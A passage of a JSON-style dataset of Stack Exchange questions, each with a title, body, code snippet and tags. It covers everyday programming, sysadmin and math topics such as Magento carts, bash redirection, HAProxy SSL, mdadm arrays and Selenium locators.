{2663}\\right) \\cdot \\left(\\dfrac{159}{2663}\\right)$$\n$$ = 1 \\cdot \\left(\\
dfrac{2663}{159}\\right) = \\left(\\dfrac{119}{159}\\right) = \\left(\\dfrac{159}
{119}\\right) = \\left(\\dfrac{40}{119}\\right) = \\left(\\dfrac{2^3}{119}\\
right) \\cdot \\left(\\dfrac{5}{119}\\right)$$\nAnd $\\dfrac{119^2 - 1}{8} = 1770$.
Hence,\n$$ = \\left(\\dfrac{5}{119}\\right) = \\left(\\dfrac{119}{5}\\right) = \\
left(\\dfrac{2^2}{5}\\right) = 1$$.\nAny idea?\n", "", "elementary-number-theory"],
"3942727": ["how to display a message on cart and checkout page for particular
category product?", "lets say i have a category \"test\" and its product \"t1\". IF
i add this product to cart, it must show some message \"my custom message\". Also
on checkout page, how can i do the same on payment step. i.e check if it is from
category test then
display this message ?\nwhat i tried so far on cart page is this before form on
cart.phtml:\n\nBut getting this\nFatal error: Call to a member function
getProduct() on a non-object\n", "$_catCollection = $this->getItem()->getProduct()-
>getCategoryCollection();\n\nforeach ($_catCollection as $_category) {\n // do
stuff with your Mage_Catalog_Model_Category\n print_r($_category);\n}\n?>\n",
"customization magento-1.4 magento-1.5 magento"], "1248789": ["How to FQL query in
python?", "Assuming that the user is already authenticated using the javascript
SDK, how would you execute FQL queries in python ->\n\nI've read the documentation
and it seems that you got to hit this url
->\nhttps://api.facebook.com/method/fql.query?query=QUERY\nHow do you do this? Also
do you need to pass the access token in the url, if yes then how ?\n", " query =
'SELECT page_id FROM page_admin WHERE uid = ' + user_id\n", "python facebook
facebook-fql"], "3541733": ["Deny inheritance to a folder?", "How to remove
inherited permissions from a folder programatically, the permissions that were
inherited from the parent folder..\nor else\nuncheck checkbox \"inherit from parent
the permission entires that apply to child objects......etc\" from advanced
security tab..?\n", "", "c# ntfs"], "4090696": ["Non-installed usage of SQL Server
CE 4.0 in a WPF application", "I have a wpf application that accesses data within a
SQL Server CE database. The application and database are meant to be run on a PC
without installation, however attempting to do so fails. (failure to locate db
provider) I've taken the following steps:\n\n -> copy local\ncopied 7 SQL Server
CE assemblies into application directory\nverified that VC++ is available on
system\nadded following to \n\n\nOn attempted execution of the following code:\n\nI
get the message:\n\nexception: is not a valid Win32 application. (Exception from
HRESULT: 0x800700C1)\n\nI suspect it's having trouble loading the , but can't
figure out why it would be trying to load as Win32\nAny thoughts? I feel like I'm
losing my mind here\n", "System.Data.SqlServerCE", "wpf entity-framework sql-
server-ce"], "1221002": ["load a div with custdata", "I am loading a tr onclick the
first tr but the problem is each td in the tr should load the different div which
is inside the second div. Now the content which is inside the custdata is loading
but how do I load the content which is inside the respective div??\nHere is the
demo\nhttp://jsfiddle.net/FMnTa/6/\n", "", "javascript jquery load onclick"],
"3988644": ["Send info regarding user via XMPP in iOS", "I have implemented the
chat and everything is working good. I follow that link
http://mobile.tutsplus.com/tutorials/iphone/building-a-jabber-client-for-ios-
server-setup/ tutorial to implement chat app. Now i want to send info regarding
user like photo,birthday,nickname etc. So i just want to create that info and send
to other user.\nI also want to send image(Data) to another user.\n", "", "iphone
ios objective-c xmpp xmppframework"], "3994346": ["Automating complete testing of
J2EE web application", "I have a doubt. Say I have a web application which is big
and relies on Java/J2EE (JSP/Servlets). \nEvery time before a drop we test each and
every functionality on GUI so that everything is working properly. Previously it
was easy but now as the number of modules has increased exponentially, manually
testing each and every GUI with required functionality is no more a feasible
option.\nI am on lookout for tools in which I can write my entire test case say
about 1000 and then just run it once before the drop and it will list down all the
test cases that have failed. \nThe tool preferably must be free to download and use
it. \nI dont know whether using \n\nArquilian\n\nor \n\nJUnit\n\nin this regard
will help or not but automating testing before the drop is really needed.. \nPlease
guide.\n", "", "java java-ee web-applications automation"], "5260414": ["How i can
upload products data on Amazon using web service", "My requirement is to upload
product's data on amazon using API or something else(with xml) without using any
dll because i would like to do code with different language.\nAnyone knows about
how i can achieve this?\n", "", "xml c#-4.0 amazon"], "3649433": ["post re-order on
my site", "I want to re-order the post 'Make Enquiry' on my site
http://ecentriconline.com/surferbeachfront/ so it appears last. Please suggest a
way to achieve this.\nRegards,\n", "", "posts order"], "5146915": ["using templates
with function pointer arguments", "I was wondering how to use a template with a
function pointer as an argument. For instance,\n\nwhere T is a function pointer
(e.g. )\nI want to use this to bypass the difference issue for function pointers
of two functions such as:\n\nSo, if function pointers don't work, is there another
way?\nEdit: Basically, I need to make a function that accepts a variety of
functions by using a template (just as a regular template function accepts a
variety of variables).\n", "template<typename T> someFunction(T /*?*/) {}\n",
"templates function pointers"], "1800320": ["Evaluating HAProxy and wondering about
SSL?", "I'm evaluating an approporiate load balancer for a web project. The
majority of the traffic to the site will be over ssl. I've read that HAProxy
doesn't support ssl for various reasons. Are there ways to configure HAProxy so
that it can handle and proxy traffic over https?\ncheers,\nCathal. \n", "", "load-
balancing haproxy"], "4393797": ["Visual Studio 2012 The project file \"\" has been
renamed or is no longer in the solution", "I recently upgraded up my IDE, but not
my compiler from VS2010 to VS2012 and now I'm having issues with one of my
solutions. When I try to build it I get \"The project file '' has been renamed or
is no longer in the solution\" \nAnd when I try to build the individual projects I
get \"A build is already in progress\" \nI've tried removing and readding all the
projects, but that doesn't help. I even created a brand new solution with all the
same projects, but when I tried to build that I got the same errors as with the
original solution. \nI've read that alot of people have similar problems to this,
but now of their solutions have helped me so far.\nOne suggestion was to see if any
projects had any missing reference but I'm not entirely sure how to go about doing
that.\nI tired removing the references an readding them but every time I tried to
readd them I got the same erro \"The project file '' has been renamed or is no
longer in the soltuion\"\nAny help or suggestions would be awesome! \n", "", "c++
visual-studio visual-studio-2012"], "5114829": ["Trying to wrap my head around
Monotouch, storyboards and iPad split view apps?", "Since about two weeks I've been
trying to get a hang of MonoTouch. My objective is to develop a simple iPad
application using the master/detail split view template, as provided by the Xcode
interface / storyboard builder.\nAlthough I've learned quite a lot, I just can't
wrap my head around getting the split view to work. I'm able to \"draw\" the
interface but then I get stuck.\nI've worked though numerous online examples
(mainly Objective-C based ones, as there are little MonoTouch based examples
available). Many tutorials are old (based on Interface Builder and Xcode 3) and
many seem to do random parts of the interface creation in code. For a newbie (not
to programming, just to iOS development) it's quite a hard to thing to get a grasp
on.\nMy objective is to make a simple app with the split view controller; in the
master I want like 5 (static) cells. Tapping on a cell will give me the contents of
a specific view controller (on the detail view). And that's it. Nothing more. I'm
aware of MT.dialog, but I prefer to make use of native iOS stuff.\nAny clues would
be awesome.. tutorials, books, example apps.. whatever.\nThanks.\n", "", "ipad
monotouch storyboard uisplitviewcontroller"], "5260417": ["Binding two different
model-key-paths to the same NSArrayController selection", "Say I have the following
array of dictionaries:\n\nHow can I bind the values to the values of an
NSPopUpButton control but bind the selection's to NSUserDefaults? I have an
NSArrayController set up with an array like the above, and my NSPopUpButton is
bound to this controller with the model key path as \"fullName\", but I want to
keep the in the NSUserDefaults. Is this possible? Is there a better way to
approach this?\n", "{\n {\n isoName => en,\n fullName => English,\
n localName => English\n },\n {\n isoName => de,\n
fullName => German,\n localName => Deutsch\n },\n {\n isoName
=> fr,\n fullName => French,\n localName => fran\u00e7ais\n }\n}\
n", "objective-c cocoa interface-builder nsdictionary cocoa-bindings"], "2407390":
["Wrapper-daemon handling wrapped program(s) output", "I have a small hobby project
where I'm writing a 'wrapper'-daemon in linux, in C. That is, it's purpose is to
start, monitor, issue commands to and stop other programs. The daemon also serves
up a web interface where users can log in and manipulate the running programs(s).\
nThe way it's set up right now is that whenever a program writes to its stdout,
this output is redirected to a pipe. Whenever someone then accesses the program
through the web interface, the web interface starts polling the daemon through
XMLHttpRequest()'s, the daemon then checks if something has been written to the
pipe and sends back a response with whatever was in the pipe at the time.\nThe main
issue is when I have two (or more) users logged in and trying to interact with the
same program. Since the web interface effectively polls the pipe for anything
written, whenever several users are logged in and monitoring the same program, the
output of that program is randomely sent to one of the
users. This is obviously bad.\nThe one solution to solving this that I'm
contemplating at the moment is to timestamp all output that a program generates and
store this information in something like a database. When the web interface then
polls the daemon with a timestamp, the daemon simply collects all the output that
has been written since and sends this back.\nI think something like the above
solution would solve the multi-user issue but I thought I would take a stab and
query the Stack Overflow community about this problem. Is there some better
solution to a problem like this? (Given I've managed to describe the problem in a
somewhat understandable way that is).\n", "", "javascript c linux daemon"],
"594192": ["every continuous signal being modelled as a function", "Can every
coninuous signal be modelled as a function, which then can be converted into a
series of sine and consine functions with unique frequencies?\nAnd let us say that
we have some arbitrary sequence of natural numbers. e.g. 1, 2, 7, 3, 17, 19. Is it
possible to convert every finite and infinite sequence into some continuous
function model, such as in Fourier theory?\nI know that it is possible to extract
some discrete samples from a continous signal/function and construct the original
continuous signal, as provided by Nyquist-Shannon sampling theorem. The question is
whether it is possible to construct a continuous signal that models a set of
discrete samples. Can this only be approximate?\nThanks.\n", "", "fourier-analysis
signal-processing"], "3938411": ["PHP email verification", "I've used SMTP commands
for \"Checking/Verifying\" the email address (whether it actually exists or not).
But the problem is that it sometimes accepts email as a valid email address and
sometimes does not.\nIs it a SMTP server's limitation (for security purpose) on
verifying email? If so, then what alternative approaches do I have?\n", "", "php
smtp"], "1529609": ["File system timeouts on network mounts are insane", "A few
programs (FF and TB) on my windows laptop keep hanging on me and after some messing
around I've figured out that it is when I try and do a \"save as\" but where the
last location I saved to is on a network mount that isn't accessible right now. If
I wait long enough, things time out and start working again.\nIs there a way to set
that timeout to something like 10 seconds? \n", "", "windows-xp network-shares
timeout"], "2362338": ["What is the purpose of these file descriptors closes?",
"I'm following this example from Advaced Bash Guide,IO redirection, that shows '
Redirecting only stderr to a pipe'. I understood how it works except when it close
fd 3.\nwhy it need close fd 3 in each command when the last command closes is
globally ?\n\n", "exec 3>&1\nls -l 2>&1 >&3 3>&- | grep bad 3>&-\nexec 3>&-\n",
"bash"], "4156239": ["Identify CIFS / AFP bottleneck on FreeNAS VM setup", "This
has been a bit of a pain for me, I'll try to provide as much info as possible. My
set-up is as follows:\nI have a laptop running Windows 7, with a wired Ethernet
connection to a router. I have a 1TB external hard drive connected via USB 2.0 to
the Windows laptop, and externally powered.\nRunning on the Windows laptop, I have
VirtualBox running FreeNAS 8.0 Release VM with its primary hard drive VDI file
residing in the root folder of the external USB hard drive.\nI have another virtual
hard drive VDI named 'media1' which is also sitting in the external USB hard
drive's root folder, and connected via virtual IDE controller to the FreeNAS VM.\
nThe FreeNAS VM's virtual NIC is bridged to the LAN via the host OS (Windows 7). I
have CIFS and AFP shares running. When I load up the Windows 7 host machine and
connect to a CIFS share on the FreeNAS VM [running in VirtualBox on the same
machine], I can transfer files at about 10 mega bytes per second. When I connect
via AFP / CIFS from another machine on the LAN, regardless of whether it's via
wired Ethernet or 802.11n, I get transfer speeds of about 10-30 mega bits per
second. I know TCP has overhead, but a one-tenth reduction? I can literally
download files from the Internet faster than I can transfer them to and from my VM.
There's no difference in read/write speed at all...both sit at about 15 mbps all
the time.\nAFP is even slower. I'm logging into an account with AFP. With CIFS I'm
connecting unauthenticated. I hope I've provided enough vital information. If more
configuration settings are needed, I can provide them, but I'm guessing the actual
bottleneck has to do with the infrastructure rather than the configuration? Do let
me know if I can elaborate at all. Any advice at all would be very appreciated.\n",
"", "networking virtual-machine network-shares home-networking freenas"],
"2455601": ["XML Schema Design - <xs:documentation> source attribute value", "I
have been asked to document an XML Schema file. I am required to include business
and technical descriptions for each of the schema elements. Looking at our
guidelines and the W3C XML Schema recommendation, I find myself wondering what
exactly the best practice would be.\nOur guidelines state that the annotation tag
should have the following format: \n\nThe XML recommendation states that the source
attribute should be of type \"xs:anyURI\". Obviously \"BuinessDescription\"
and \"TechnicalDescription\" are not URI's and will be repeated numerous throughout
the schema. Therefore, is it really correct to use the source attribute as a
semantic attribute? \nIn XML Schema
http://shop.oreilly.com/product/9780596002527.do Eric van der Vlist suggests that
this is acceptable but also contradicts this view by stating that it could lead to
interoperability issues.\n", "<xs:annotation>\n <xs:documentation
source=\"BusinessDescription\">This is the business description</xs:documentation>\
n <xs:documentation source=\"TechnicalDescription\">This is the business
description</xs:documentation>\n</xs:annotation>\n", "xml xml-schema schema-
design"], "3941466": ["how to obtain the number of dropped packets in WiFi
network", "Is there any way to determine the number of dropped packets (using Linux
OS + C programming language) received on wireless interface (for example: packets
were transmitted by access point with destination address matching my computer but
they had to be dropped due to error in checksum)?\nI was reading on the internet
about libpcap but I am not sure if this would be the right solution for the
problem?\n", "", "c linux network-programming wifi libpcap"], "1865646":
["Simulating a car moving along a track", "For Operating Systems class I'm going to
write a scheduling simulator entitled \"Jurrasic Park\".\nThe ultimate goal is for
me to have a series of cars following a set path and passengers waiting in line at
a set location for those cars to return to so they can be picked up and be taken on
the tour. This will be a simple 2d, top-down view of the track and the cars moving
along it.\nWhile I can code this easily without having to visually display anything
I'm not quite sure what the best way would be to implement a car moving along a
fixed track.\nTo start out, I'm going to simply use OpenGL to draw my cars as
rectangles but I'm still a little confused about how to approach updating the car's
position and ensuring it is moving along the set path for the simulated theme
park.\nShould I store vertices of the track in a list and have each call to move
the cars a step closer to the next vertex?\n", "update()", "opengl simulation
motion"], "2733070": ["Howe to capture UIView top UIView", "i have which displays
the Graph..now I need to capture it to the and I googled it and got the below
code.but if i use this in my code its not work.even if I use breakpoint compiler
does not reach to this.I am using this in my .where I am going wrong?\n\n",
"UIView", "iphone ios uiview uiimage"], "4389444": ["Best practice to version a
database", "I am doing an ongoing MySQL database development. I have a create
database script and a set of scripts to patch it along the time. In those patch I
need to check if the target database is the correct version. I am thinking to add a
table to my schema for this purpose but it might overkill this problem.\nI am
wondering what is the best practice to do it.\nTHanks, \n", "", "mysql database
version"], "939583": ["How can I detect which listbox item another item was dropped
onto?", "I have two listboxes. The listbox1 contains a list of the DB names.
Listbox2, on the other hand, has a list the titles of the content associated by the
DB on listbox1. Basically you click on listbox1 and it loads into listbox2 all the
titles for the content of the DB.\nI want to implement now a drag and drop feature.
I know how to drag between two listboxes; that's not the problem. What I am trying
to implement is the following:\n\nclick on a title in listbox2\ndrag item INTO an
item in lisbox1\nthe title is now part of the DB pointed by the item in listbox1\n\
nNow, all the backend code to move the actual data is already in coded. How can I
make the listbox1 select (and know) the item where the mouse is about to drop the
item from the listbox2? By implementing a simple drag and drop between the two
listboxes will result on the item from listbox2 being added into listbox1 since I
cannot select an item in listbox1 while i am dragging something.\nI hope I
explained this the right way.\nCode is appreciated.\n", "", "delphi listbox drag-
and-drop"], "5568443": ["Configure Selenium - Capybara on Chrome", "I'm using
Chrome as my default user while testing with Capybara. What I want to do is
configure that chrome instance so that it doesn't suggest remembering username and
password on a login page.\nHow can I do that ?\n", "", "google-chrome selenium
capybara configure"], "4976085": ["Solution for PC crash after modifications by
TUNE-UP?", "I experienced that after either making
modifications offered by Tune-up Utilities OR making registry-key erases offered
by Ccleaner, my computer crashes when awakened from standby.\nHowever I restored
the back-up files from Tune-Up [this time I didn't use Ccleaner, I only mentioned
it in addition], so after restoring backups, the problem still exists.\nThe reason
I suppose that this program and its modifications are the reasons for my crashing
problem is that I experienced it 3 times altogether. \nIf you could find a solution
WITHOUT having the system reinstalled, I would really appreciate it.\n", "",
"windows-7 crash standby"], "1084443": ["Shortcode content filter?", "I'm looking
for something, but don't exactly know what.\nI have a shortcode, let's call it
[shortcode].\nUsers will input HTML tags inside, mostly images, but also links,
images in links, etc., for example:\n\nThe point is I want to format URLs,
differently, I want every img src to start with files/myimagescript?\nSo the code
above should output:\n\nSo basically I need to simply change src of images. And it
should work for any number of images, from 1 to unlimited.\nI'm thinking about
foreach PHP loop, but I'm not sure how to grab each img src line from shortcode and
process it before displaying?\n", "[shortcode]\n<img
src=\"http://www.site.com/myimage.jpg\" />\n<a href=\"http://www.blabla.com\"><img
src=\"http://www.site.com/myimage2.jpg\" /></a>\n(...)\n[/shortcode]\n", "php
functions shortcode"], "5260411": ["How to deal with extremely long locators in
automation testing?", "I was wondering what are the common approaches for dealing
with extremely long locators using robotframework and/or selenium?\nI'm talking
about locators that long:\n\nThe obvious approach is to \"hide\" them in the
resource files so they don't pollute the test case files. Another approach I've
seen is to create a static xml file containing a full structure of a tested website
and parse the xml file (I can provide example if needed).\nAre there any better
ways to do this?\n", "<input
id=\"all00$SPWebExample1$g_bcd023df_3ba6_4f8f_bef3_164383c266aa$ctl00$
$HereComesAnotherText1$rblFoundIs\" />", "selenium automated-tests
robotframework"], "2407392": ["Best approach for user to user audio communication",
"For one of my projects I need users to be able to communicate with each other in
an audio mode. The thing I'm concerned about is the scalability of the project if
it even gets big in terms of bandwidth consumption. \nWhat are the alternatives to
passing the audio through my server to the users?\nIs it possible to create a link
between two users so they can exchange their stream of data (audio in this case) so
that it doesn't pass through me, while still being able to control the time they've
been connected to each other and some other information?\nAs for now it's just an
idea I have in mind but I don't really know what to look into. I think it will
probably need to be some plugin dependant solution so that's why I tagged the
question like that.\nI'm not looking for a concrete solution, just a little push in
the right direction from someone who has been through something similar. \nThanks!\
n", "", "flash silverlight audio activex communication"], "4459613": ["PHP PDO
Select ID", "I'm learning PDO from NetTuts and have had success so far searching
FETCH_ASSOC based on strings. \nQuestion: Which PDO:: is needed in order to search
by integers? I thought it was PDO::Fetch_OBJ. The following is returning false.\n\
nvar_dump returns: \nobject(database)#1 (7) {[\"pdo\":\"database\":private]=>
object(PDO)#2 (0) { } [\"port\"]=> int(3306) [\"statement\"]=>
object(PDOStatement)#6 (1) { [\"queryString\"]=> string(61) \"SELECT name, address
FROM business_information WHERE id = :id\" } }\n", "$busid = $this-
>sanitize($string);\n\n$database->query('SELECT name, address FROM
business_information WHERE id = :id', array(':id' => $busid)); \
nvar_dump($database);\n if($database->count() >= '1') {\n
$results->setFetchMode(PDO::FETCH_OBJ); \n while($row = $results-
>fetch()) { \n $test = \"Name: \".$row['name'].\"
Address: \".$row['address']; \n\n }else{\n $test = \"no
results were found\";\n\n }\n", "php pdo"], "4732575": ["indexer for source
code?", "More specific I need indexer for verilog, vhdl and c++ code on *nix
platform.\n", "", "indexing software-tools"], "5423346": ["Allowing LAN users to
send requests to a printer", "I have a Xerox Phaser3500N printer. I have connected
it to my PC using a USB cable. I now want users on my LAN to to be able to send
print jobs to this printer via my machine. How can I set this up?\n", "", "windows-
7 lan network-printer"], "1135051": ["How to prevent server blocking php", "I'm
currently developing a php daemon for connecting and retreiving data from social
networks like facebook and twitter. This script allready works but I have some
concerns about it.\nIt's possible to create an infinite amount of accounts that the
script has to process and (right now) it runs every 5 minutes to create a 'near'
realtime experience. So my concern is that, when, let's say 5000 accounts, have
been created and have to be monitored. The script slows down and maybe wil run
longer than the 5 minute interval. Is there any way to work around this problem?
And better, is there any good way (with php, possible with javascript) to create a
better 'near' realtime experience?\nAny advice will be great!\nThanks in advance\
n", "", "php facebook twitter real-time daemon"], "5060798": ["JDK Logging API",
"Why is JDK's Logging API considered so poor? What do we gain by using third party
logging APIs such as Apache Log4j?\n", "", "java logging"], "5993145": ["Scoping in
embedded groovy scripts", "In my app, I use Groovy as a scripting language. To make
things easier for my customers, I have a global scope where I define helper classes
and constants.\nCurrently, I need to run the script (which builds the global scope)
every time a user script is executed:\n\nIs there a way to setup this global scope
once and just tell the embedded script interpreter: \"Look here if you can't find a
variable\"? That way, I could run the global script once.\nNote: Security is not an
issue here but if you know a way to make sure the user can't modify the global
scope, that's an additional plus.\n", "context = setupGroovy();\
nrunScript( context, \"global.groovy\" ); // Can I avoid doing this step every
time?\nrunScript( context, \"user.groovy\" );\n", "scripting groovy variable-
scope"], "4189959": ["C#,WPF Subscribing for an external event in code-behind",
"I'm trying to subscribe for an event in an external class using code-behind in WPF
and I obviously fail.\nI have an external library which uses ActiveMQ.NMS API to
communicate with a broker and asynchronously listen on a topic. To do the second we
need to register to an event called consumer.Listener. Everything worked perfect
until creating a WPF project referencing the library and trying to subscribe to the
event from code-behind (in code behind I called instance of an object responsible
for communicating with the broker, created the handler and registered it).\nAs I
understand now the reason behind my problem is Thread Affinity, however I would
still love to know how to do what I was trying to do from code-behind even though
most developers will immediately despise me for even thinking about such a thing.
As a side note: it's a bit funny that debugger without giving any reason just skips
some lines in methods if it feels like doing that.\nAlso, what is the recommended
pattern for dealing with external events in WPF?\nThank you for your feedback :) \
n", "", "c# .net wpf event-handling"], "2851814": ["Outlook 2010 some emails
appearing as plain text rather than html", "In Outlook 2010, when I recieve email
from certain users, eg. mac/linux they are in plain text format. I want to force my
outlook to always use html when replying (I know that their mail client can handle
it) Is there anyway to do this?\nthanks,\nAlistair\n", "", "outlook outlook-2010"],
"5530465": ["How to find nth parent of an element using jquery", "I want to find
the nth parent element of an given element and access the attributes of parent.\n\
nI want to access the 3rd parent element of element1 without using \n\nAny help
would be appreciated\n", "<div id='parent1'><br/>\n <div id='parent2'><br/>\n
<span><p id='element1'>Test</p></span><br/>\n </div><br/>\n <div
id='parent3'><br/>\n <span><p id='element2'>Test</p></span><br/>\n
</div><br/>\n</div>\n", "jquery dom navigation parent"], "269555": ["Web
infrastructure IIS 6 issues serving 1 particular site", "I have an issue with a
test environment running win 2k3 SP2 and IIS6\nWe have a number of development
sites on the box, and several versions of the same site eg:\
nsubdomain1.domain.co.uk\nsubdomain2.domain.co.uk\nsubdomain3.domain.co.uk\
nsubdomain4.domain.co.uk\nAll sites were running fine without an issue and nothing
has changed. IIS and server config for all sites match.\nnow....\none of the sites
(subdomain3) has just encountered an issue, It's no longer available. Browser
throws an error of: The page cannot be displayed\n\nSo, I log on to the box, edit
the hosts file and try again.\nSame error.\nThis left me scratching my head a
little, so i changed the home folder to one of the other subdmains that i know is
working.\nSame error again\n\nOk time to remove the site in IIS and re-create site
and app pool with the same config as the other sites running, then IIS reset and
test the site locally.\nGot the same error again, and again too when I change the
home folder to one that I know is working.\nIm at a bit of a loss as I have
completely removed it's instance in IIS and re-created and tested with sites that i
know are working. It's certainly not a DNS issue and don't believe
it to be a coding issue either because the instance in IIS does not work with any
other home folder that I know are working.\nCan anyone help??\nCheers!!!!\n",
"Error Code 64: Host not available\nBackground: The connection to the Web server
was lost. \n", "windows-server-2003 webserver iis6 web-hosting"], "2340534":
["Migrating from Python to Scala wise when a lot of work is already done in
Python?", "Me and my friend are developing a web-app in Python + Flask +
PostgreSQL. We have been working on it for the past few months and have developed a
lot of schema/use-cases specific to Python + Flask + PostgreSQL. Now, all of a
sudden, we plan to move to another NoSQL database (Neo4j) because it somehow fits
better to what the core of our web-app is going to be. Python supports Neo4j
through embedded/rest api bindings, but uses a technology JPype, which is rather
unmaintained, to say the least.\nSo, this question of using Scala arose today. Ours
is going to be next-to-realtime application, so we can't afford to have the
lag/overhead of having intermediate steps of Python->Java requests (Neo4j
standalone server is based on embedded Neo4j). So, whereas I am in favour of
spending a month or two and learning Scala/Lift, he is in favour of carrying on
with Python and porting to Scala whenever need arises, even though when we know
that Python+bindings will be a bit slower as compared to the native Neo4j support
for Java.\nIn the past few months, we had done a lot of work in Python + Flask +
PostgreSQL already. If we port to Scala, we will need to port all of it to Scala. \
nWould it be wise to port now? Are there any personal experiences or advices from
you all? Or is this just premature optimization?\nP.S.: I am aware of the learning
curve of Scala/Lift.\n", "", "python web-development scala real-time"], "5137247":
["Permission Denied Error During Update of a Local MSOffice Add-In from Network",
"I am attempting to write a procedure in PowerPoint 2003 that will allow automatic
updating of an installed add-in. The general process is as follows:\n\nUninstall
the add-in\n\nDelete the file from the local Add-Ins directory\n\nCopy over the
file from the network location\nInstall the updated add-In\n\nUpon reaching step 2,
any attempt at deleting the file post-uninstall using either the FileSystemObject
or a straight inevitably generates . If I hit Debug and then play, it runs through
as if there was never a problem.\nSide note: I realize I can use FSO to overwrite
the local file, but that gives me the same run-time error.\nI'm guessing the
problem has to do with some aspect of the file being in use, but I can't figure out
how to \"release\" the old add-in so that the underlying file can be deleted. \
nDoes anyone have insight that can help?\n", "For Each objAddIn In
Application.AddIns\n If UCase(objAddIn.Name) = UCase(AddInName) Then\n
With objAddIn\n .Registered = msoFalse\n .AutoLoad =
msoFalse\n .Loaded = msoFalse\n End With\n End If\nNext",
"add-in powerpoint powerpoint-vba"], "1682803": ["Byte array or matrix to BitMap",
"I am currently having the following problem: I want to conver a byte array that
comes from a file with the following configuration:\nByte1: R color of pixel 0,0.\
nByte2: G color of pixel 0,0.\nByte3: B color of pixel 0,0.\nByte4: R color of
pixel 0,1.\n...\nByteN: R color of pixel n,n.\nSo what I want to do is conver this
bytes to a bitmap without having to set pixel by pixel with bitmap.setPixel because
it takes too long. Any suggestions? Thanks in advance!\n", "", "c# arrays bitmap
byte convert"], "5652118": ["From Arraylist to Array", "I want to know if it is
safe/advisable to convert from ArrayList to Array?\nI have a text file with each
line a string:\n\nI want to read them into array list and then i convert it to
Array. Is it advisable/legal to do that?\nthanks\n", "1236\n1233\n4566\n4568\n....\
n", "java arraylist"], "5178543": ["mdadm: Replacing array with entirely new
drives", "I have a server with three 500GB drives, with most of my data in a RAID5
configuration spanning the three of them.\nI just purchased and installed four 1TB
drives, and the intention is to move off of the old drives and onto the new ones. I
have enough SATA ports and power connectors to power all seven of my drives at
once, so I've kept the old RAID running while I figure out what to do with the new
drives.\nMy question is: Should I create a whole new array on the 1TB drives, then
move everything over and reconfigure linux to boot from the new md arrays? Or
should I just expand the array, swapping out each of the three 500GBs with the 1TB,
then adding the final drive?\nI've read up on the mdadm extending drive setup, and
it makes sense, but I imagine I would use one of the drives as a full backup while
I move things over, then add that drive back into the array once things are up and
running on three of the 1TB drives, so there's some complication in going that
route as well... I'm just not sure which is safer/recommended.\n", "", "raid hard-
drive software-raid mdadm raid5"], "1010036": ["How to abbreviate the long Selenium
CSS code for table elements?", "I am having trouble abbreviating the following
selenium CSS code which has the element inside multiple tables. The code below
gives me two checkboxes.\n\nI cannot use this code since there is also another
table with the same span and checkbox. The only difference is that the it is in
different row. So if i put the code for another checkbox, it would look like this.\
n\nSo the only difference is nth-of-type(i) for every table. So how can i shorten
the css code?\nIs there any option that i can shorten like
table[id$=gridReports]>tbody>tr:nth-of-type(i) followed by span[id$=reportCheckBox]
input.\nAny help would be appreciated.\nThanks\n",
"table[id$=gridReports]>tbody>tr:nth-of-type(2)>td:nth-of-
type(2)>table[id$=panelReportInformation]>tbody>tr:nth-of-
type(2)>td>table[id$=panelReportContent]>tbody>tr:nth-of-
type(2)>span[id$=reportCheckBox] input\n", "css css3 css-selectors selenium-rc
selenium-chromedriver"], "2441213": ["create a class in dynamically in java using
table data", "I have the following requirement, \nI need to expose an API where the
user can send a free form 'query' like expression and I need to return
true/false. \nex: For a car object, if the query is \n\nHowever, 'make' 'year' or
'type' comes from a table which is populated externally. \n\nThere are other join
tables which I traverse first to load the properties. \nSo, if there is a new
property (and corresponding value), I need to support in the query. \nAs of now,
this is what I did: \n\nIf there is no requirement to add dynamic properties to a
class, I know I \ncan use some thing like JoSQL on my collection. \nI looked into
creating the class dynamically once the application starts using Java Tools API or
javaassist.\n\nClient is insisting on a solution which doesn't require adding new
properties and deploying the code (though the 'caller' of this API does need code
changes in order to use the new properties in the query). \nI don't like creating
new Class dynamically. Looking for any pointers or solutions. \n", "\" (make =
'FORD' AND year IN (1990,1991)) OR type = 'SUV') \".\n", "java query dynamic
collections properties"], "2396970": ["Anyone know of something like Fluid, for
Windows?", "I'm looking for something like Fluid (Mac OS X), for Windows. It's an
app that lets you run a single browser window, as a standalone app. So I can have a
Fluid 'app' each for say Fogbugz and Stack Overflow, and my normal browser
activities don't interfere with them (shutdowns, crashes etc). To most intents and
purposes they appear to be self-contained applications in their own right. \nI run
Fluid myself on my Mac and I'm looking for something similar for my partner to run
on her Windows XP machine.\nI'm half-tempted to drum something up myself in Delphi
but I'd want it to use whatever the user's default browser is (eg Firefox, Chrome)
and I'm not sure the amount of pain in trying to do that is worth my time - I'm not
short of things to do! Much happier if I can just find something off-the-shelf to
do it. :-)\n", "", "windows mac browser"], "925086": ["How to register to receive
all property changes in Mvvm-Light", "I want a class (called PremiseServer) in my
Mvvm-Light solution (WP7) to subscribe to all property changes for classes that are
derived from a base type (SysObject is the base class and it derives from
ViewModel).\nI have a set of classes derived from SysObject. These classes have
various properties on them of differing types (Strings, booleans, ints etc...).\
nWhen any property on any of these classes changes I want my PremiseServer instance
to see these changes and then make web-service calls to push the data to a server.\
nI have tried this and it never gets called (which makes sense to me now; because
the property that is getting changed is not SysObject, but some property OF the
SysObject):\n\nI also tried the below (registering String messages) and it works,
but I don't want to create one of these for each property type:\n\nI also tried
thinking I'd see messages for all derived types (I didn't).\nWhat I really want
is \"Register for all property change messags from any property of objects of class
SysObject\". How can I do that?\nThanks!\n",
"Messenger.Default.Register<PropertyChangedMessage<SysObject>>(this, (action) => {\
n String location = ((SysObject)action.Sender).Location; // URL to POST to\n
Debug.WriteLine(\"PremiseServer PropertyChange - \" + action.NewValue.ToString());\
n});\n", "silverlight windows-phone-7 mvvm-light"], "5146914": ["How to disprove
there exists a real number $x$ with $x^2 < x < x^3$", "I realize that the only
method is to show various cases:\nI must test for $x > 1$, $x < -1$, $0 \\leq x \\
leq 1$, and $-1\\leq x \\leq0$.\nBut
even with this, I don't understand how to inject the properties of these four
distinct possible $x$'s into the inequality (from the title) in order to show that
none of these work.\nThanks for any help\n", "", "algebra-precalculus number-theory
proof-strategy"], "885935": ["Turn off escaping in parameter for MySQL query in
Excel 2010", "I'm using Excel 2010 along with an ODBC connector to pull data from a
MySQL database.\nI only want to pull certain records based on a list of usernames.\
nI've got the list of logins into a cell properly formatted for \n\nwith the
parameter pointing to a cell containing a list of the form (constructed from a
